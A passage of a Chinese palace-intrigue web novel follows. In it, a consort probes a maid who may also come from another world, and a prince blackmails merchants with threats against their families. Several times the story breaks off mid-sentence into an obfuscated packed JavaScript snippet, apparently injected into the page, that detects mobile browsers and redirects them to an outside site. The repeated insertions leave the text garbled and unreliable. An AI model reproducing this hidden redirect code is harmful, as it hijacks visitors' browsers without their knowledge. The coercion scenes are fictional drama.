“娘娘,查到了。”翠儿的声音压得极低,带着一丝困惑,“太子近日常去柳妃娘娘的清芷宫,但我们的人并未发现他私下见过什么特别的谋士或官员。” 高玥的眼神一冷:“太子好端端地怎么会去柳妃那里?” “只有一个很奇怪的地方。”翠儿犹豫着说,“我们的人回报,太子殿下那日从清芷宫出来时,神情苦闷,曾在路上遇见一个小宫女。他似乎向那宫女讨要了一块画眉的螺子黛。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315857|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “螺子黛?”高玥的眉头拧得更紧了,“他一个大男人,要女人的眉笔做什么?” 翠儿摇了摇头,声音更低了:“不知道。只听说,太子殿下回宫后,在书房坐到天亮,然后……就有了那份让陛下龙颜大悦的新奏折。” 整个房间陷入了死寂。 高玥脸上的表情凝固了。 她设想过无数种可能:某个隐世的大儒,某个被太子雪藏的谋士,甚至某个有野心的朝臣。 但她从未想过,答案会是…… 一块螺子黛?和一个宫女? 这太荒谬了。 荒谬到近乎可笑。 “那个宫女,叫什么名字?” “回娘娘,她叫苏泠。” 高玥没有声张,而是选择了一个最意想不到的方式。 她无意间在通往御花园的小径上,遗落了一支并不算太名贵的珠钗。 然后算准了苏泠的活动路线和时间。 果不其然,半个时辰后,苏泠捧着一叠刚浆洗干净的衣物,在翠儿的“引导”下,将珠钗恭恭敬敬地送回了高玥这里。 “抬起头来。”高玥坐在主位上,语气慵懒。 高玥承认,不管看几次这张脸,她都有那么恍惚间的一滞。 是她。 就是这张脸。 一模一样。 “奴婢苏泠,叩见贵妃娘娘。”苏泠的头垂得更低了,声音不大,但吐字清晰。 “本宫听闻,太子那份惊才绝艳的奏折,与你有关?”高玥开门见山,却并非质问,而是带着一丝赞许。 苏泠的身子几不可查地一颤,立刻伏地:“娘娘明鉴!奴婢只是一个普通的宫女,怎敢妄图议论朝政!太子殿下仁厚,见奴婢手冷,只是随口问了几句,绝无其他!” 这番回答,滴水不漏。 高玥轻轻一笑,随意地撩了一缕发丝。 “不必紧张,本宫只是觉得你很聪明。”她顿了顿,目光随意地看向苏泠,声音轻得仿佛在自言自语: “本宫小时候,有一玩伴,我们总说,遇到难缠的对手,与其硬碰硬,不如学学‘小狐狸偷鸡’,出其不意,反而能赢。” 小狐狸偷鸡。 这六个字,是当年她们在游戏里,给一种以小博大的战术起的专属代号,这是独属于她们二人的,胜利的密语。 高玥说完,死死盯住苏泠的反应。 她期待看到一丝惊愕,一丝了然,哪怕只是一瞬间的眼神闪烁。 然而,什么都没有。 苏泠的脸上,先是浮现出一丝疑惑,仿佛在试图理解这个新奇的比喻。 随即,她用一种带着敬畏和顺从的语气,小心翼翼地回答: “娘娘圣明,奴婢愚钝。只知道狐狸是山中野兽,狡猾得很,见了人要躲着走,不敢去偷东西,想来是奴婢见识浅薄了。” 高玥握紧了茶杯。 她看着眼前这张既熟悉又陌生的脸,那双眼睛里,是纯粹的恭顺与惶恐,就像一汪清澈见底的泉水,看不到任何暗流。 是她想多了吗? 难道这个世界上,真的有如此巧合之事? 一个和她长得一模一样,连名字都一样的宫女,恰好又是个心思玲珑之人? 而太子那件事,真的只是自己的草木皆兵? “罢了。”高玥忽然觉得有些无趣,声音里透着一丝不易察觉的疲惫,“你很忠心,东西送回来,本宫有赏,下去吧。” “谢娘娘恩典。” 苏泠叩头谢恩,捧着赏赐的银子退了出去,从始至终没有再抬一次头。 直到她的身影消失在宫门外,高玥才缓缓靠在椅背上,有些疲惫地闭上双眼。 她第一次,对自己的判断产生了怀疑。 而走出凤鸾宫的苏泠,在转过一个无人的拐角后,脚步微微一顿。 她低头看了一眼掌心的银子,那双始终恭顺的眸子里,掠过一抹复杂至极的光芒,随即又恢复了平静。 她知道,刚刚那句话,是试探。 而她,绝不能上钩。 10. 暗潮汹涌 直到苏泠的身影彻底消失在宫门外,高玥才缓缓靠在椅背上,取而代之的是一种彻骨的寒意。 刚刚苏泠的回答与惶恐不像是作假。 如果她真的不是她认识的那个苏泠…… 那么,答案就只剩下一个,一个让她毛骨悚然的可能。 这个棋盘上,出现了另一个她完全无法看透的执棋人。 这绝不是巧合。 对方选择在这个风雨欲来的节点上,在她和齐思铭的关系刚刚破冰,计划就要进入关键期的时候,悄然出现。 其用心简直昭然若揭。 是她和齐思铭暗中的谋划早已暴露,对方作为太子或是皇帝的后手,此刻现身,就是为了将他们一网打尽? 又或者……对方也和齐思铭一样,同样盯上了这至高无上的皇位,想坐收渔翁之利? 无论是哪一种可能,都意味着,她所以为的棋盘,不过是冰山一角。 而她与齐思铭,或许从一开始,就已经是别人局中的棋子。 “翠儿。”她的声音平静,“立刻设法给王爷传个话。” 她取过一张素笺,在上面只写了三个字。 “月被食。” …… 子时,玉溪宫的殿门被悄无声息地推开。 齐思铭一身黑衣大步走入殿中。 “何为‘月被食’?” 他没有一句废话,声音里满是质问。 “王爷,”高玥的声音很轻,却字字清晰,“我们一直以为,这盘棋当前的对手,是太子。” 她顿了顿,眼中是看不清的晦暗。 “但是现在看来,我们可能都错了。” “就在今日,太子向皇上呈了一份新的折子,王爷可曾听闻?” 见齐思铭并未作答,只是目光沉沉地看着她,高玥便自顾自地说了下去。 “他在折子里,将君臣关系比作了“东家与伙计”,这个意思是,东家要善待伙计,伙计也要效忠于东家,如此才能家业兴旺,国泰民安。” 高玥复述着这番话,迎上齐思铭探究的目光,一字一顿地问道:“王爷,以你对太子的了解,你觉得凭他的脑子,能想出‘东家’与‘伙计’这番别出心裁的论调吗?” 齐思铭的眼神一凝:“你是说,太子有了新的谋士?” “不。”高玥摇了摇头,露出了一丝荒谬的笑容,“没有谋士。指点他的,是柳妃宫里一个名叫苏泠的宫女。” 齐思铭的眉头瞬间锁紧,他气的笑了出来:“一个宫女?这就是你深夜召我前来的理由?你在逗我玩?” “我倒希望我在逗你玩!”高玥向前一步,音量也提高了好几度,“齐思铭,你我这样的人,穷尽心智,也不过是在前人留下的棋谱上推演新的变化。 你的‘以商养河’,大胆,精妙,但终究有迹可循。 可你告诉我,‘朝廷为东家,商贾为伙计’,这种闻所未闻的奇思妙想,是哪个学派的典籍里记载过?又是哪位大儒的门下,能教出这等见识?” 高玥的每一个字都像是一记重锤,敲打在齐思铭的心上。 “一个自幼生长于深宫,连外界都未曾见过的宫女,凭什么能想出连你我都拍案叫绝的破局之法?你不觉得这很荒谬吗?” 空气在这一瞬间仿佛凝固了。 齐思铭死死地盯着她,那双深不见底的眸子里,风暴骤起。 “你的意思是……”他缓缓开口,“这背后另有其人,而那个苏泠,只是个传话的傀儡?” “我更倾向于相信,”高玥一字一顿,“我们面对的,是一种不属于这个世界的智慧。今天,它可以帮助太子拿下运河,明天,它又会做什么?” 这个世界,现在有了一个跟她一样,来自另一个世界,带着不属于这个时代的知识与眼界的“玩家”! 但同时,这也意味着,她终于有了向齐思铭摊牌的底气。 就是现在。 告诉他,你最大的依仗是什么。 告诉他,那个潜藏在暗处的敌人,你洞悉其本质。 告诉他,那个在暗处的人能给太子的,我也能给你,甚至能给得更多! 她可以帮他。 高玥迎着他审视的目光,深吸一口气,几乎就要将这惊世骇俗的秘密脱口而出。 就在这千钧一发的时刻,殿外传来一阵急促的脚步声,翠儿慌张的声音在门外响起:“娘娘!刚刚宫里传遍了,陛下对太子的新奏折龙颜大悦,已经下旨,将开凿运河一事,全权交由太子负责了!” 这个消息如同一道雷击,击碎了殿内的气氛。 这不是意外,而是他们刚刚预言的的未来的兑现。 齐思铭的身体肉眼可见地僵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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高玥的红唇勾起,一字一顿地说道:“去万花楼,本宫倒要亲眼看看,他齐思铭是如何风流快活的!” 11. 红衣烈焰设杀局 万花楼,京城最负盛名的销金窟。 当高玥踏入万花楼时,里面正值喧嚣鼎盛,靡靡之音与脂粉香气混杂在一起,她一向不喜欢这种脂粉气味,忍不住捂住了鼻子。 她只扫了一眼,便在二楼最显眼的位置看到了那个熟悉的身影。 只见齐思铭右手懒散地搭在身侧一名舞姬的腰上,那舞姬整个人像是被抽了骨头一样,瘫软在齐思铭的怀里。他歪着头听着身边几位穿着富贵的公子高谈阔论,嘴边挂着漫不经心的笑,还时不时低头与怀中女子调笑两句。 台下歌舞正浓之时,他甚至还抬起那女子的下巴,亲自喂了一杯酒,引得那女子娇喘连连。 怒火,混杂着一种说不清道不明的焦躁在高玥胸口漫开。 她气的不是他左拥右抱,而是气他这副自暴自弃的模样。 棋局还没到终盘,她都没先说不玩了,他怎能先放弃! 她转头看向翠儿,声音与这靡靡之音格格不入:“翠儿,你过来。” 当翠儿听清高玥的吩咐时,一张小脸吓得煞白,连连摆手:“娘娘,这……这万万不可啊!您是万金之躯,怎能……” 高玥眼神一凛,无情地打断了她:“让你做你就照做。” 不过一炷香的功夫,万花楼的王妈妈满面春风地走上高台。 她手中的牡丹帕子轻轻一挥,声音拔高了八度:“各位爷有福看了,今儿个咱们万花楼来了个绝色美人,那身段,那舞姿,说是仙女见了她都要自愧不如! 今夜谁给的银子多,谁便能与这位仙子共度良宵!” 听完老鸨的话,台下顿时一阵骚动,有喝得半醉的酒客高声起哄:“王妈妈,这人都没见着,光听你吹,谁信啊?” 王妈妈咯咯直笑,风韵犹存的脸上堆满了褶子:“这位爷你别心急啊,我这就让仙子出来,先给大家舞上一曲,开开眼!” 乐声骤起。 一个戴着半透明黑纱面帘的女子,一袭火红舞衣,赤足走上高台,身形窈窕,红衣如火,黑纱遮面,只露出一双勾魂摄魄的眼。 光是站在那,便已是万种风情。足上的银铃叮当作响,只轻轻抬起手臂,便瞬间抓住了所有人的目光。 随着鼓点渐急,她的舞姿也开始变得热烈,像是迎风的蔷薇,极致而侵略地怒放。每一个旋身,每一次顿足,都像一簇跳跃的火焰,充满了野性而原始的生命力。 她的腰肢柔软无骨,却又充满了惊人的力量感,红色的裙摆在空中划出火红的弧线。 那些刚才还在高声叫嚷的酒客,此刻都像被扼住了喉咙,一个个伸长了脖子,眼中只剩下痴迷和惊艳。 二楼,齐思铭原本微醺的眼,也在此刻变得清明。他缓缓放下酒杯,目光牢牢锁住台上那抹红色。 燃烧的火焰,灼得他心口发烫。 舞至酣处,那红衣女子竟一跃而下,裙摆飞扬,如九天玄女般飘向二楼齐思铭的方向。 她在离他一步之遥的地方停下,俯下身,指尖轻划过他温热的嘴唇,气息隔着面纱喷洒在他的下颚,带着一丝午后薄汗的湿热,和她身上特有的清冷木香。 她靠的极近,隔着一层薄纱,清晰地看到齐思铭的喉结滚动了一下。还未等他反应过来,她猛地勾住他的脖子,将他拉向自己,红唇隔着黑纱,在喉结处轻轻点了一下。 随即,她又轻笑着旋身离去,一个利落的收势,舞毕。 满场死寂,随即爆发出雷鸣般的叫好声。 “我出一百两白银!” “一百两就想买仙子共度春宵?我出三百两!” 价格一路攀升,就在众人争得面红耳赤之际,一个清冷的声音响起。 “我出这个。” 只见齐思铭缓缓解开腰间的龙纹玉佩,随手抛在桌上。 王妈妈脸上的笑容一僵,正要开口,旁边的一桌人已噗嗤笑出声。 “我还当是什么宝贝呢,原来就是块破玉佩?” “就是,我看这玉佩色泽暗沉,就算卖给三岁的孩童都不一定要吧,就这还想与仙子共度良宵?” 一时间,楼内讥笑四起,但齐思铭却连眼皮都未曾抬一下,目光依旧锁着台上的红衣女子,缓缓重复了一遍,“我说,我出这个玉佩。” 王妈妈心里也直打鼓,可毕竟是客人,她还是硬着头皮上前,小心翼翼地捏起了那块玉佩。 这不看不知道,只看了一眼,差点将玉佩摔在地上。 那玉佩看似平平无奇,可翻过来,底部却用金丝嵌着一个极小的、盘龙祥云纹样的“齐”字。 “齐”这个字,在大胤的意义,不言而喻。 王妈妈的脸色瞬间由红转白,刚准备发作,便被齐思铭狠狠地瞪了一眼。 “这块玉佩,不是给你的。”他看着台上那抹红色的身影,唇角勾起一丝玩味的弧度,“是给她的。” 王妈妈一愣,随即明白过来,满脸堆笑地将那红衣女子请下台,亲自送到了齐思铭的身边。 高玥跟着齐思铭来到二楼角落的厢房,她心中早已打好腹稿,既然齐思铭找各种理由不见她,那她只能用这种方式去见他。 顺便准备借此机会好好劝说他,不要因为太子的事情太伤心,他们还有翻盘的机会,尤其是现在多了一个未知的敌人,此刻他们更应该联手。 谁知房门刚一关上,齐思铭便将她死死抵在门板上,灼热的气息扑面而来,随即一个吻便压了下来。 “唔……” 她的话被一个滚烫而霸道的吻尽数吞没。 齐思铭的吻带着侵略性,他的唇舌间还残留着烈酒的辛辣,混合着他独有的、清冽又危险的气息,毫不留情地撬开她的齿关,攻城略地。 高玥被他突如其来的举动吓了一跳,慌张之下,用力将他推开,怒道:“我是皇上的妃子!你现在是要做什么!” 齐思铭看着她因愤怒而涨红的脸,眼中闪过一丝错愕,随即嘴角勾起:“就算是他的妃子,现在不也是在我身下。” “更何况……”齐思铭温热的气息喷洒在高玥的耳边,“我看你刚刚也乐在其中,不是吗?” “你混蛋!”高玥扬手就要扇过去,却被他一把抓住手腕,反剪在身后,整个人被他牢牢禁锢在怀里,无法动弹。 “嘘,别出声。”齐思铭的气息喷在高玥的耳廓,“配合我演一出戏。” 他的声音压得极低,高玥心头一震,随即侧耳细听,果然,门外传来了刻意压低的窃窃私语和衣料摩擦的细碎声响,正是方才与齐思铭同席的那几个公子。 高玥立刻明白了齐思铭的意图。 他不是在自暴自弃,他是在设局。 “撕拉——”一声,是衣物被撕裂的声音。 紧接着,便是高玥刻意拔高的,带着哭腔与羞愤的尖叫和求饶。 “殿下……不要……求求你……” 房间内,两人用最低的音量交流着。 “他们是太子的人?”高玥问。 “不,”齐思铭一边动作不停,一边在她耳边低语,“他们原想投靠太子,今日本该是太子设宴,我不过是借太子的名义把他们请来,让他们换个主子罢了。” 门外那几个富商正津津有味地听着里面的“活色生香”,正心猿意马浑身燥热之际,后颈突然传来一阵重击。 “砰!砰!”几声闷响,伴随着身体倒地的声音陆续传来。 高玥看向齐思铭,他脸上没有半分惊讶。 他松开高玥,慢条斯理地掸了掸衣袍上并不存在的灰尘,缓缓拉开房门。 门外,那几个富商已被麻绳捆得结结实实,整个过程行云流水,一气呵成,显然是排练了无数次。 高玥看得目瞪口呆,这个男人,将人心算计到了骨子里。 几个富商很快被“请”进了房间,被冷水泼醒后,看到齐思铭正坐在太师椅上,悠闲地擦拭着手中的玉笛,脸上还带着那温和的笑。 “各位公子醒了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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齐思铭直起身,声音不大,却清晰地传到每个人耳朵里:“光是‘窥探宫闱秘闻,意图构陷皇室之人’这一条罪名,就够让你们的家眷,去菜市口排队等着收尸了。” 他嘴上说着最狠的话,脸上却依旧是那副温润无害的笑容。 “不过,”他话锋一转,“本王向来心善。只要各位乖乖听话,把本王交代的事情办好,今晚的事,你们非但无过,反而有功。” 他将一杯茶推到钱姓富商面前,眼神幽深地看着他:“钱公子,本王记得,你府上刚添了麟儿,正是粉雕玉琢的时候吧?你江南的绸缎庄,若是没了你这个主心骨,怕是撑不了多久。还有你,李公子,你那年迈的老母,可经不起什么惊吓啊。” 这已经不是威胁,而是赤裸裸的警告。 几人面如死灰,他们终于明白,从踏入这个房间的那一刻起,他们就已经没有了选择。 “扑通”一声,钱姓富商率先跪倒在地,连连磕头:“殿下饶命!我们听!我们什么都听殿下的!求殿下给我们一条活路!” 其余几人见状,也纷纷跪下,颤抖着声音应承:“我等……愿为殿下效犬马之劳!” 大部分人都识时务地选择了屈服,只有一个看起来颇有几分骨气的王姓富商梗着脖子拒绝。 “我王某人深受太子殿下知遇之恩,绝不会背叛太子!更不会与你这种小人为伍!” 高玥暗暗为他捏了一把冷汗,这个世界上,敢直接骂小人的可不多,更敢直接当着齐思铭的面骂他小人,更是勇士! 齐思铭懒得再跟他费口舌,脸上的笑容收敛,眼神变得阴冷。 “本王没时间与你讲大道理。” “你若是不答应,你远在江南的一家老小,恐怕此生你都见不到了。” 那王姓富商浑身一颤,随即破口大骂:“你这个卑鄙的小人!怪不得你永远都得不到你爹娘的宠爱!” 这句话,仿佛触到了齐思铭的逆鳞,他脸上一瞬间变得暴戾而嗜血。 高玥心中一紧,暗道不好。 果然,只见齐思铭握着玉笛的手猛然一甩,一支锋利的短剑从玉笛中弹出,瞬间抵在了那富商的脖子上,沁出了一丝血珠。 “我什么时候说过我是正人君子?”他的声音低沉得可怕,仿佛来自十八层地狱,“我表面上叫贤王,你该不会真的以为,我是什么贤德之人吧。” 12. 一念修罗一念慈悲 王姓富商能够感觉到那柄短剑的剑锋,此刻正稳稳地抵在他的脖颈处,他甚至能感觉到剑刃上那细微的血珠,正顺着脖子往下一点一点地滴。 他自认为也算是见过了不少大风大浪,可齐思铭这样手起刀落的,还是让他整个身子都不由得僵住了。 齐思铭那张俊雅的面孔之下,是一片深不见底的寒潭。那双眼睛里没有戏谑,也没有警告,有的是一种近乎于漠然的平静。 他知道,在齐思铭的眼中,自己的性命与蝼蚁并无分别。 答应,或者死。 他毫不怀疑,只要自己再吐出一个“不”字,这柄短剑会毫不犹豫地割断他的喉咙,就像碾死一只虫子。 “殿下饶命……”最终,他还是屈服了,声音嘶哑得不成样子。 听到想要的回答,齐思铭慢条斯理地收回短剑,他脸上的暴戾褪去,又变回了那个温和的贤王,仿佛刚才那个样子只是众人的一场幻觉。 “事情解决了,”他将玉笛别回腰间,转身看向高玥,“我们走吧。” 血腥味混杂着万花楼的香膏气味,让高玥胃里一阵翻涌。 就在齐思铭将手伸过来的一瞬间,她的身体不可积微地向后缩了一下,避开了他的触碰。 刚刚的那个齐思铭,让她感到陌生。 理智上,她明白这是最有效的手段。 对付这些唯利是图的商人,讲道理不如讲刀子,利用他们去牵制太子,也是目前破局的最优解。 可情感上,她却难以释怀。 那个梗着脖子要忠于太子的王姓富商,还有那些被家人软肋威胁不得不屈服的人,他们又做错了什么?他们也不过是想在权力的夹缝中求生罢了。 齐思铭的动作僵在半空,最终什么也没说,默默地收回了手。 两人一前一后地走出万花楼,外面灯火璀璨,小贩的叫卖声、孩童的嬉闹声、行人的说笑声交织在一起,构成了一幅热闹的人间烟火图。 可这份热闹,却与他们二人无关。 他们并肩走在熙攘的人群中,却仿佛隔着一道无形的墙,气氛压抑得可怕。 高玥一遍遍地告诉自己,帮助齐思铭夺嫡是她在这个游戏里的唯一任务。 为了完成任务,不择手段是必要的。 可她脑海中总会浮现出齐思铭手握短剑时,那双毫无温度的眼睛,还有那些富商匍匐求饶的样子。 真的有必要做得那么绝吗? 气氛在沉默中变得尴尬,连周围的空气都似乎凝滞了。 “姐姐,姐姐!买一个糖人吧!”一个稚嫩的声音打破了沉默。 一个约莫六七岁的小姑娘挤到他们面前,高高举起手中一枝捏成蔷薇花形状的糖人,大眼睛里闪烁着期待的光芒:“姐姐,这朵蔷薇花跟姐姐很是相配,让您的相公帮您买一枝吧!” 相公? 高玥下意识地想开口反驳,可对上小姑娘那清澈又充满期盼的眼神,一种莫名的情绪让她把到了嘴边的话又咽了回去。 她板起脸,不再理会小女孩,抬脚便要继续往前走。 “姐姐,买一枝吧,求求你了。” 小女孩锲而不舍地跟在她身侧,声音里带上了哭腔,“今天街上这么热闹,要是我一枝都卖不出去,我阿娘会打我的……” “我真的不需要……”高玥刚想再次拒绝,身旁的齐思铭却开了口。 “买一枝吧,人家小姑娘也怪不容易的。”他的声音依旧温和。 “要买你自己买,我不爱吃糖。”高玥也不知道自己在发什么脾气,没好气地白了他一眼,加快了脚步。 齐思铭看着她气冲冲的背影,无奈地摇了摇头。 他蹲下身,从钱袋里掏出几文钱递给小女孩,接过了那枝晶莹剔透的蔷薇花糖人。 他很快追上了高玥,不由分说地将糖人塞进了她的手里。 “我都说了我不吃糖。”高玥皱眉。 齐思铭却不接,只是低头看着她,目光在夜色灯火下显得格外明亮:“你不吃糖,那可否跟我去一个有人吃糖的地方?” 高玥一愣,看着他眼中那份她看不懂的情绪,鬼使神差地没有再拒绝。 她默默地跟在齐思铭身后,穿过繁华的街道,拐进了一条幽深僻静的小巷。 巷子尽头,是一座破旧的院子,院门上的红漆早已斑驳脱落。 齐思铭推开虚掩的院门,伴随着“吱呀”一声,一个瘦小的身影从屋里飞奔出来,一把抱住了他的腿。 “爹!” 清脆的童音在寂静的院子里响起,这声“爹”让她愣在原地。 她的目光越过那个小女孩,竟然到院子里还有六七个孩童,他们此刻正用好奇的目光,怯生生地打量着她这个“不速之客”。 高玥脑子里瞬间闪过无数狗血剧情。 这些……该不会都是齐思铭欠下的风流债吧? 那他们的娘呢…… 她用一种极其古怪的眼神看向齐思铭,而齐思铭仿佛看穿了她的想法,低声解释道:“他们都是从小没了爹娘的孤儿。 我遇到他们时,他们有的在街边乞讨,有的都快饿死了,所以我便将他们都安置在这里。 为了不让外人说三道四,以免让他们受人欺负,便让他们都喊我爹。” 高玥的心像是被什么东西轻轻撞了一下,她看着那些孩子,又看了一眼齐思铭,脱口而出:“能认当朝皇子当爹……这些孩子,怕是不知道自己修了多少辈子的福分。” 话音刚落,一个胆子稍大些的男孩走到她面前,仰着小脸问道:“你一定就是娘了吧?” 娘?! “我不是……”高玥刚想反驳,却猛地想起了齐思铭刚才的那番话。 她看着小男孩眼中那份纯粹的期待,拒绝的话怎么也说不出口。 最终,她蹲下身,有些僵硬却又格外温柔地抚摸了一下男孩的头。 她没有看到的是,她身后的齐思铭,嘴角扬起了一抹得逞的弧度。 高玥顺势将手中的蔷薇花糖人递给了小男孩,小男孩怯生生地接过,甜甜地说了声“谢谢娘”。 这声娘让高玥的心彻底软了下来。 她站起身,抬头对上齐思铭的目光。灯火下,他的轮廓柔和,眼神里似乎也多了几分暖意。 她突然觉得,这个男人,好像也没那么可恶了。 可转念一想,她又被他算计了! 这个男人太懂得如何玩弄人心,每一次,她都会不自觉地被他牵着鼻子走。 明明刚刚在万花楼里,包括从万花楼出来的时候,都是她占据了上风,怎么绕了一圈,反倒是她心里有些内疚了? 就在这时,屋子里走出一位约莫四十多岁的妇人,面容和善。 她看到齐思铭,亲切地唤道:“阿铭,你回来啦。”随即,她的目光落到高玥身上,愣了一下,但很快便恢复了常态,笑着说:“饭菜都做好了,快进来吃吧。” 齐思铭看了一眼高玥:“折腾了一晚上,想必也饿了,吃点东西再回去吧。” 话音刚落,高玥的肚子不争气地“咕噜”叫了一声,在寂静的院子里,这声音显得格外清晰。她的脸颊瞬间有些尴尬,只能点了点头,跟着他走进屋子。 屋子不大,但收拾得干净整洁,一张半旧的四角桌上,摆着几样简单的家常菜,还冒着腾腾热气。 那妇人极有眼色地为他们添上碗筷,便借口去照顾孩子们,退了出去,将空间留给了他们二人。 “她是王大娘,身世清白,为人老实,你不用担心她会嚼舌根。”齐思铭为高玥夹了一筷子青菜,“平日里她就住在这,帮着给孩子们做做饭,也算是孩子们的家人。” “我又没问你……”高玥咀嚼着口中的饭菜,小声嘟囔道。 她像是想到了什么似的,抬眼问他:“所以,你平时晚上不回去,就是住在这里?” 齐思铭没有出声,只是拿起碗喝了一口汤,算是默认了。 高玥心里那点最后的芥蒂也烟消云散了。 可她偏要嘴硬,带着几分傲娇说道:“其实我不喜欢小孩子,又吵又闹,麻烦得很。” 齐思铭握着碗的手顿了一下,用几不可闻的声音“嗯”了一声,喃喃道:“你与她……倒是一样。” “她?”高玥敏锐地捕捉到了这个字眼。 她脑中灵光一闪,试探着问道:“是你母妃吗?” 听到这两个字,齐思铭的身体骤然一僵,脸上的表情瞬间变得不对劲。 高玥心里咯噔一下,暗道:“完了。” 之前就听说齐思铭在宫中爹不疼,娘不爱。生母淑妃失宠后被打入冷宫,他自己也是在冷宫那种地方长大的。自己的这一句话,怕是又戳到他的伤心处了。 房间里的气氛再次凝固。 齐思铭垂着眼,盯着碗里的白米饭,许久都没有动一下。 就在高玥以为他不会再开口时,他突然自言自语道:“我与她今生的缘分,早就尽了……” 高玥小心翼翼地追问,“是……她不要你了?” 齐思铭缓缓抬起头,那双深邃的眸子里,翻涌着高玥从未见过的悲伤与恨意。“不要我?” 他忽然低笑起来,“她不是不要我,她是从来没有把我当成她的儿子。” “在她眼里,我只是一个工具罢了,”他的声音很轻,却字字扎心,“一个能让她走出冷宫,能让她报复所有仇人的工具。 她恨皇上,恨皇后,恨所有看不起她的人,所以她把所有的希望和怨恨都压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315860|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在了我的身上。” “她也讨厌孩子。”齐思铭的目光移向窗外,看着院子里追逐打闹的孩童,眼神变得悠远。 “在她心里,孩子不过是累赘罢了。 我小时候,只要哭一声,换来的就是她更疯狂的打骂。” 高玥完全愣住了。 她一直以为,齐思铭变成现在这个样子,只是源于对权力的渴望。 却从未想过,这伤痛最深的来源,竟是他的亲生母亲。 那根本不是爱,只是一道道的枷锁罢了。 “所以……”高玥的声音有些干涩,“你收养这些孩子,是因为……你想给他们一个你从未拥有过的童年?” 齐思铭没有回答,但他的沉默,已经说明了一切。 高玥终于明白了。 他为什么会对那个骂他“得不到爹娘宠爱”的富商动了杀心,为什么会在听到她说“不喜欢小孩子”时有那么大的反应。 他所有的狠辣、多疑和没有安全感,都源于那段暗无天日的童年。 她伸出手覆在了他冰冷的手背上,认真地看着他,“那不是你的错。” 齐思铭的身体微不可察地颤抖了一下。 “你不是工具,你也不是任何人的附属品,你就是你。”高玥试图用自己的体温去温暖他。 “过去的事情已经无法改变。但以后,你可以选择你想成为的人。” 她的声音很柔,却带着一种坚定的力量。 齐思铭看着她,眼中的波涛汹涌渐渐平息,取而代之的是一种他自己都未曾察觉的依赖。 …… 第二日,京城有名的酒楼“醉仙居”被齐思安包了下来。 他要在宫外宴请京中各大商贾,为运河计划筹措资金。 酒过三巡,菜过五味,太子清了清嗓子,终于提到了正题。 “尔等商人,虽身处市井,亦是我大胤子民,如今国库吃紧,为国分忧,乃是尔等本分……” 他此番言辞,听上去冠冕堂皇,句句在理,可在座的商人哪个不是鬼精鬼精的,这话传到他们耳朵里,就变了味道。 一个胖胖地商人站起身子,举着酒杯笑呵呵地说道,“太子殿下说的是。我等能有今日,全赖朝廷庇佑。为殿下分忧,为朝廷分忧,自然是义不容辞。” 但随即他话锋一转,“这运河大计利国利民,我等自然是鼎力支持。不过……这沿途的商路、码头的经营权,我等若是能参与一二,筹措资金时,也能更有底气,更能为殿下尽一份心力不是?” 这话说得十分巧妙,既表达了支持,又点明了要好处。 “是啊,殿下。我们出钱可以,可总得让我们看到些回头钱吧?” “这运河一开,若是能由我们几家联合经营沿途的船运,那资金绝不是问题!” “殿下若是能允诺我等三年的免税期,别说一个运河,两个我们都给您凑出来!” 这些商人,都是人精中的人精,无利不起早是他们的天性。 若是太子这边能给足好处,那两边下注,讨好谁不是讨好? 谁知,齐思安听着这些讨价还价的言论,脸上的温和笑意渐渐淡去。 他放下手中的玉箸,发出“啪”的一声轻响,喧闹的雅间瞬间安静下来。 “本宫还以为,今日请来的是我大胤的商贾栋梁。” “为国分忧在诸位口中,竟成了一桩可以讨价还价的买卖?”齐思安端起酒杯,只是轻轻晃动着,看着杯中清冽的酒液,“本宫今日才知,原来商人的‘本分’二字,也是明码标价的。” 他这番话话里话外,都将出钱视为商人们理所当然的义务,丝毫没有要与他们平等商议的意思。 在座的富商本就受了齐思铭的胁迫,此刻又见太子这副轻视自己的模样,心中更是窝火。 我们凭本事赚来的银子,凭什么要给你这副“赏你个脸”的态度? 所以当齐思安正式提出,希望他们能为运河工程慷慨解囊时,戏剧性的一幕发生了。 “太子殿下,实在不巧,小人家中老母近日病重,实在是……有心无力啊!” “是啊殿下,我那批运往江南的丝绸被水淹了,如今连伙计的工钱都快发不出了,实在是囊中羞涩……” 这些富商们像是提前约好了一样,纷纷找着各种借口推脱。 一时间整个宴会上竟没有一个人愿意出资。 齐思安的脸色由红转青,又由青转白,拿着酒杯的手气得微微发抖。 就在他准备发作之时,一个小厮神色慌张地从门外跑了进来,扑通一声跪倒在地,急声道:“殿下,不好了!运河堤坝那边的劳工……闹起来了!他们说已经好几个月没结到工钱,再不给钱,他们就要……就要罢工了!” 13. 棋局逆转杀机又现 齐思安的这场宴席散得极早。 那些比谁都精明的商贾一个个脸上挂着滴水不漏的笑容,嘴里说着最动听的奉承话,可一谈到为南北运河筹款的正事,便都成了滑不溜手的泥鳅。 